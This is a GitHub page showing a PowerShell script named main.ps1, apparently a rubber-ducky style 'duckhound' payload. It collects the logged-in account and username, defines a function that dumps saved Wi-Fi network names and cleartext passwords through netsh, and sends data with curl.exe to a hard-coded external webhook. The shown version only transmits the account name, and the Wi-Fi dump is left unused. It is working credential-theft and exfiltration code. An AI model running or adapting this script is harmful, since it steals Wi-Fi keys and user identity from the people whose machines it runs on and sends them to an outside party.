-
Notifications
You must be signed in to change notification settings - Fork 18
/
main.ps1
43 lines (32 loc) · 1.22 KB
/
main.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# duckhound webhook script
# created by : C0SM0 & I am Jakoby
# change me
$webhook = "https://us-central1-obsidian-buffer.cloudfunctions.net/webhook/332fa6cc28b71b33771831cd455417413351fdc033ba73c8"
# variables
$account = $env:userprofile.Split('\')[2]
$username = $env:username
$markdown = "$account.md"
# send content to obsidian
function send_to_obsidian {
# file parameter
[CmdletBinding()]
param (
[Parameter (Position=0,Mandatory = $True)]
[string]$message,
[Parameter (Position=1,Mandatory = $True)]
[string]$file
)
# curl requests
curl.exe -d "$message" -H "Content-Type: text/plain" $webhook"?path=$file"
}
# mark wireless information
function wireless_markdown {
# get wireless creds
$creds = (netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize | Out-String
}
# mark user information
function user_markdown {
#
send_to_obsidian -message "# $account" -file $markdown
}
user_markdown